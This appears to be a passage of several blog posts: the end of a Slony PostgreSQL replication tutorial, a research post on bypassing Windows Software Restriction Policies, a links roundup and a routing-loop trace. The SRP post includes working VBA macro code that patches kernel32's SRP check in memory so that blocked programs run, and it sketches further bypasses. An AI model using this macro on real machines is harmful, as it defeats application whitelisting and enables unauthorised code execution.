Now in pgAdmin go to your database, and you should see a "Replication" entry, similar to the one shown below:

You should delete the entry on both the master and the slave (this is one of the rare cases when working with slony when you need to operate independently on the two machines - of course probably there is some command-line script which does this for you).

Now do the changes on the master and export the exact database structure to the slave. Again, for me the easiest method was to drop and recreate the database on the slave and after that export the schema from the master to the slave like this:

pg_dump -h [master] -s dbname|psql dbname

The -s tells pg_dump to only dump the schema, not the data.

Now regenerate and re-run the slonik script and start the slon daemon.

That's all folks. Hope it helps somebody who is struggling to understand slony, like I was.

PS. An interesting side-effect of installing slony on the slave is that other triggers get dropped (and need to be recreated). This can be important in some scenarios, for example: lets say that you have a table A and a table A_log which contains the operations done on table A. A_log is updated by a trigger on A. Now if you use Slony, you have two options:

Let Slony synchronize both tables. This is the easiest, however it can happen that for short period of times you will have inconsistencies between A and A_log on the slave if you are using the "READ COMMITTED" isolation level (which is recommended in most of the cases) because Slony might have synchronized one of the tables, but not the other. If this is acceptable for you, great.

If this is not acceptable, you have to do two things: first, exclude the table A_log from the synchronization (by adding it to the exclusion criteria in that huge select at the beginning of the article). Second, after you executed the slon script, you need to add the trigger back on the slave for the "A" table.

PS PS. What I presented here is a very rudimentary configuration and can be substantially improved. For example Slony has support for the following scenario: the master goes away and now the slave should become the master and when later the master comes back (is repaired for example), it can become the new slave ("switch"). From what I understand some changes need to be done to the above configuration to support this (fairly important scenario).

Update: Thanks to one of the commenters I took a closer look of EnterpriseDB and on their site found a link to the following documentation which describes the structure and intention of Slony: Slony-I - A replication system for PostgreSQL - Concept. It is a short read (~17 pages) and very useful for understanding Slony.

Update: Here is an other tutorial for Slony. This is pretty much the same as the samples on the Slony website, however I found it to be easier to understand (this is also possibly because in the meantime I've learned more about Slony, but give it a try). It also gives examples on how to use some helper scripts included in Slony to make your life easier.


Update: it seems that slony requires the existence of the public schema, even if it isn't installed in it.

Update: Setting up Slony cluster with PerlTools - a much simpler method than the one described by me :-)

Limitations of Software Restriction Policies


Update: ok, SRP is even more broken than I thought. As one of the readers pointed out (thank you Anonymous!), there is a built-in (albeit only partially documented) option on runas which circumvents SRP.

For some time now there has been a friendly back-and-forth between Didier Stevens and myself with regards to the topic of Software Restrictions Policies:

  • I've written a post recommending SRP (Software Restriction Policies as a solution to seecure computers
  • Based on some research done by Mark Russinovich Didier came up with a different (easier to implement) method to circumvent SRP. The gist of the matter is that the checking of SRP is done in user mode in the process which issued the CreateProcess/LoadLibrary call. This means that the current process can patch itself so that SRP isn't correctly verified. Mark did this by intercepting reads to the Registry (where SRP policies are stored) and returning fake results, Didier did this by searching the registry key names and replacing them with bogus ones (so registry reads would fail).
  • After this Didier took the whole thing in a different direction (and I want to credit him for coming up with the idea), and researching the question "what is executable code"? Remember that the first immutable rule of security is "If a bad guy can persuade you to run his program (code) on your computer, it's not your computer anymore". So he compiled the executable in a DLL and used VBA (Visual Basic for Applications - the macro language for Word/Excel/etc) to drop the file on the filesystem and load (execute it). The point was that even if the attacker didn't give you a classic "executable", you'd still run code for him.

    This is bad, very bad, because it just means that the notion "executable code" got expanded to include all file formats which include a macro language. This means HTML, all the Office document formats, Corel products, Autodesk products, etc (to get some idea of the products check out the Visual Basic for Applications Licensing Partners site - and these are just the ones who use VBA - Autodesk for example uses some Lisp variant AFAIK). Some of these programs include facilities to disable execution of macros, but other may not. Even the ones which include such features, probably they are not configured the safest way (deny all) by default. Very bad.

  • The previous method still got blocked by the configuration described by me, however it pointed the way towards the next step: patching the executable entirely from VBA, without using external components. Alternatively you can write location independent code and launch it inside of the process.

So what remains there to be said? In what follows I will give two alternatives to bypass SRP and summarize the possible attack points against it. I will update my original article with a pointer so that people will have a more clear picture of the situation.

Alternative bypass 1: patching the routine which does the actual checking. Given that this is in-process, we don't need any special privileges to do it. The hardcoded address is for my system (Windows XP SP3), so for this to work reliably on all versions of Windows, a more elaborate way of determining the procedure address is needed (however this is not very hard to implement).

Const SW_SHOW = 5

Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Declare Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Sub TestSRP()
    Dim mem(11) As Byte
    Dim memAddr As Long
    Dim functionAddr As Long
    Dim oldProtect As Long
    functionAddr = &H7C819805
    memAddr = VarPtr(mem(0))
    Call CopyMemory(ByVal memAddr, ByVal functionAddr, 11)
    '8B FF              mov     edi, edi
    '55                 push    ebp
    '8B EC              mov     ebp, esp
    '81 EC D8 01 00 00  sub     esp, 1D8h
    If &H8B = mem(0) And &HFF = mem(1) And &H55 = mem(2) And &H8B = mem(3) And &HEC = mem(4) _
        And &H81 = mem(5) And &HEC = mem(6) And &HD8 = mem(7) And &H1 = mem(8) _
        And &H0 = mem(9) And &H0 = mem(10) Then
        Call VirtualProtect(ByVal functionAddr, 11, PAGE_EXECUTE_WRITECOPY, oldProtect)
        'B8 00 00 00 00 mov eax, 0
        'C2 18 00       ret 18h
        '90 90 90       nop nop nop
        mem(0) = &HB8: mem(1) = &H0: mem(2) = &H0: mem(3) = &H0: mem(4) = &H0: mem(5) = &HC2
        mem(6) = &H18: mem(7) = &H0: mem(8) = &H90: mem(9) = &H90: mem(10) = &H90
        Call CopyMemory(ByVal functionAddr, ByVal memAddr, 11)
        Call VirtualProtect(ByVal functionAddr, 11, oldProtect, oldProtect)
        MsgBox "Signature not found!"
    End If
    Call ShellExecute(0, "open", "e:\logs\notepad.exe", "", "", SW_SHOW)
End Sub

The code patches the routine "BasepCheckWinSaferRestrictions" from kernel32.dll, the one used to verify SRP restrictions when calling the CreateProcess* family of functions (apparently Microsoft refers to SRP as "Safer"), to always return 0 (which means allowed).

Actually the Windows Internals book (which is a great resource if you are interested in doing any low-level work) states (in chapter 8 - security) that the enforcement of SRP is done in different locations depending on the action you are trying to perform:

  • If you are trying to launch a process via CreateProcess*, it is done in kernel32.dll
  • If you are trying to load a DLL, it is done in ntdll.dll (in the undocumented function "LdrpCodeAuthzCheckDllAllowed")
  • If you are trying to run a batch file, it is done by cmd.exe
  • If you are trying to run a script, it is done in cscript.exe (for command-line scripts), in wscript.exe (for UI scripts) or in scrobj.dll (for script objects - I assume this means for applications embedding the WSH)

This means that other patches need to be performed, based on the situation at hand.

Alternative bypass 2: I found this document in the Google Cache suggesting to use NtCreateProcess, which is a step down from CreateProcess*, and it assumes that the checks for SRP have already been performed. Reading the disassembly of kernel32.dll/ntdll.dll I concluded that this method would certainly work, however I didn't write code for it, because it would have needed to import a ton of undocumented API's. If somebody is interested, a good starting point would be the ReactOS implementation of CreateProcessInternalW.

The advantage of this code is that it is very portable across Windows versions and it is very easy to implement. In fact it is portable between programs! I found that OpenOffice 2.4 and later has a BASIC implementation which sufficiently close to the one use by Winword so that one can write portable macros!

Conclusions about SRP:

Software Restrictions Policies provide a much lower assurance than I previously assumed. They can be easily bypassed by users, even with the lowest privilege level.

The bypass can be performed directly from x86 code (for example by exploiting a running process and executing shellcode in it) or from scripting languages which offer access to the Win32 API (such as the MS Office macros).

However SRP still provides a strong protection against non-targeted attacks. This is because 99.9999% of the attackers aren't expecting for it to be activated or necessarily know how to circumvent it. This is security by diversity. It is not 100% conceptually correct, however in practice it works very good.

Mixed links


Via Pat’s Daily Grind: Philosophical Health Check and Battleground God. Very cool pages which aim to discover discrepancies/contradictions in your world view.

I've been using Chrome for some time now and my conclusion is: it doesn't matter what browser you use, as long as it is a reasonably new one. Thins I've liked:

  • resizable textboxes
  • HTTPS warnings (the UI seems much nicer)
  • the separation in processes makes killing of errant pages / plugins and recovery much easier

WinZip password collision. WinZip (or more precisely: zip) supports many encryption methods, some of them very weak (like the original one described here) and some of them industry grade (AES). The drawback of this diversity is that not all zip/unzip programs support all of the algorithms, so (IMHO) you are better off using unencrypted zips or something like 7zip (Open Source and free) when encryption is needed.

Via Joel Esler's blog: who would win?

See on Souriz's blog: examples of reverse engineering syllabuses. I would recommend such courses to every programmer / sysadmins so that they can more accurately judge the threats which are out there.

From comes the User Agent lookup script. In the same spirit: the fact that there are no FORM's on your webpage doesn't mean that its not accepting input from the user. Remember: the user controls also the headers (and implicitly the cookies). Also, they can control the result of the reverse DNS lookup...

From stackoverlow, funny: suggest additions to the C preprocessor :-):

#dogma, basically there to counteract all the pragmatic stuff creeping into modern C and get back to basics.

#karma, to override (run over) the #dogma

Via Bruce Schneier: sending messages to the TSA - I'm not sure how an idea this is...

From Gadi Evron: Introducing yourself. This was always a problem for me. How do you explain m malware researcher to a lay person?

Via the Dynamoo blog: "eval(function(p,a,c,k,e,r)" - in fact this is a legitimate JS packer which is being used on sites such as CNet. However, to any prospective user of such methods, my advice is the same as in the case of executable packers: it very probably degrades performance, makes your script look more suspicious (thus causing problems for users with AV / IDS products) and is not more effective than javascript minification combined by transparent gzip compression (which is supported by 99.99% of browsers).

Somebody messed up their routing tables...


tracepath gets me this (observe the loop):

 6: (             29.703ms asymm  8 
 7: (                               26.761ms 
 8: (               27.132ms 
 9: (             25.090ms asymm  7 
10: (             26.592ms asymm  6 
11: (             29.970ms asymm  9 
12: (             38.560ms asymm  8 
13: (                               27.047ms asymm  7 
14: (               27.888ms asymm  8 
15: (             25.747ms asymm  7 
16: (             27.113ms asymm  6 
17: (             28.854ms asymm  9 
18: (             29.605ms asymm  8 
19: (                               27.058ms asymm  7 
20: (              299.424ms asymm  8 
21: (            131.799ms asymm  7 
22: (            156.949ms asymm  6 
23: (            240.925ms asymm  9 
24: (            137.728ms asymm  8 
25: (                              241.452ms asymm  7 
26: (               91.074ms asymm  8 
27: (            132.473ms asymm  7 
28: (            161.498ms asymm  6 
29: (            305.491ms asymm  9 
30: (            160.710ms asymm  8 
31: (                              139.895ms asymm  7 
     Too many hops: pmtu 1500
     Resume: pmtu 1500 

So no buzz out loud for me today :(

Update: it was fixed. Probably there was some routing change and it took some time for the routes to stabilize.